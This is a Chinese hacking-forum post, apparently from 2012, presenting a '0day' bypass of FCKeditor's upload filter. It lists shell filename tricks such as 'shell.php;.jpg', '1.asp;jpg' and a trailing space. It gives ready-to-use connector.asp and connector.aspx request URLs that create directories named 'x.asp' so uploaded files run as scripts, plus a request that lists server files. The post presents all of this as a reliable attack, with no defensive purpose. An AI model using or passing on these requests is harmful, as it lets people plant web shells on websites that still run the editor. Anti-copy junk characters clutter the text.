找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2153|回复: 0
打印 上一主题 下一主题

FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:27:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg) k- B1 e% O% t9 f  `' f, D
/ p2 R* ~0 Q" e, i3 c) c. s
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。
8 c* |2 r/ n0 `! b0 o
# l1 H  \- \1 X# j, ^& I继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
- [* L% p1 x; ~- h! N& E1 z  G. L4 k! q
突破建立文件夹:
; N+ W2 d- k3 ?
; U3 X3 N8 J5 _editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
2 \3 d; S2 ^& g+ g, m1 B$ ~$ g9 n$ D' Q( T$ R
参数:& t/ g; q; [; V) Q

+ m( Z1 {, F" {3 o当前目录名:CurrentFolder=/qing.asp
7 {# C, u- K' o7 }6 N
# w7 F, ^' t3 b6 K新的目录名:NewFolderName=x.asp! W/ d9 k# h/ q  S" i: ~; |

$ i( r- H5 F! P. h其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……
6 o  x: e9 m, K3 E& q* G+ z+ a! ~0 u, C$ J: R& L4 N# I
那么 x.asp 就已经建立生成了,此方法百试百灵!) w3 i$ a1 |* F* h; G' j$ C& a2 ?
% q0 e: P# K! V* o
新建文件夹参数 x.asp,基本都能搞定。
5 L4 L8 b: E$ s3 e5 A4 T
7 y  V$ \. V" a/ ^+ _下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
4 e" T5 ?& Z3 w- L# d& z/ k5 T7 F( Z. N( H: Y1 Y& E; h
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
' Y& F2 J: d- f3 h2 u8 Z1 p
+ ?- H0 k# @1 D; e1 c获取文件列表1 H% e" w- ?" m  y; x
       aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
& v$ }9 L: |2 @
# c# I4 h3 P8 q0 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表